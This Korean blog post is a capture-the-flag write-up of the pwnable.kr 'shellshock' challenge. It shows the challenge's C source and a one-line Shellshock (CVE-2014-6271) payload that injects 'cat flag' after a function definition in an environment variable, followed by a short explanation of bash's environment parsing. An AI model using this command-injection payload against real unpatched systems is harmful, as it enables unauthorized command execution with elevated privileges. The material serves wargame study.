본문 바로가기
wargame/pwnable.kr

[포너블] pwnable.kr - shellshock

by 아메리카노와떡볶이 2022. 2. 18.
728x90
pwnable.kr - shellshock

 

문제의 이름인 shellshock는 오래전 등록된 취약점의 이름이다.( 약 40년전부터 존재해온 취약점이라고 함)

#include <stdio.h>
int main(){
             setresuid(getegid(), getegid(), getegid());
             setresgid(getegid(), getegid(), getegid());
             system("/home/shellshock/bash -c 'echo shock_me'");
             return 0;
}

bash 셀을 켜서 shock_me를 출력하는 코드이다

결론을 먼저 말하면 shellshock 취약점은 bash 가 실행될때 환경변수가 초기화되는 부분의 취약점을 노린 것이다

shellshock@pwnable:~$ export my='() { echo hello; }; cat flag '
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

my라는 환경변수에 ehco hello 라는 함수를 등록해준뒤에 ./shellshock 바이너리를 실행하면

bash가 켜지면서 flag가 뜬다. 왜 그럴까?

 

bash의 동작흐름을 보면 다음과 같다.

 

1. bash 실행

2. bash 환경변수 초기화

3. shell prompt 출력

4. 명령어 대기상태

5. 명령어를 문자열로 저장하여 문자열 parsing

6. 명령어 수행

 

이때 2번의 환경변수를 초기화하는 과정에서 환경변수 뒤에 위와 같이 cat flag 한줄을 추가로 넣어주면

뒤의 명령이 실행되는 취약점이 존재하는 것이다. 이걸 노려서 공격하는 것이다.

 

++

이번 문제는 100프로 다른 분들의 라업을 참고해서 작성했음

728x90

'wargame > pwnable.kr' 카테고리의 다른 글

[포너블] pwnable.kr - coin1  (1) 2022.02.24
[포너블] pwnable.kr 9 - mistake  (0) 2022.02.18
[포너블] pwnable.kr 8 - leg  (0) 2022.02.08
[포너블] pwnable.kr 7 - input  (0) 2022.02.08
[포너블] pwnable.kr 6 - random  (0) 2022.02.07

댓글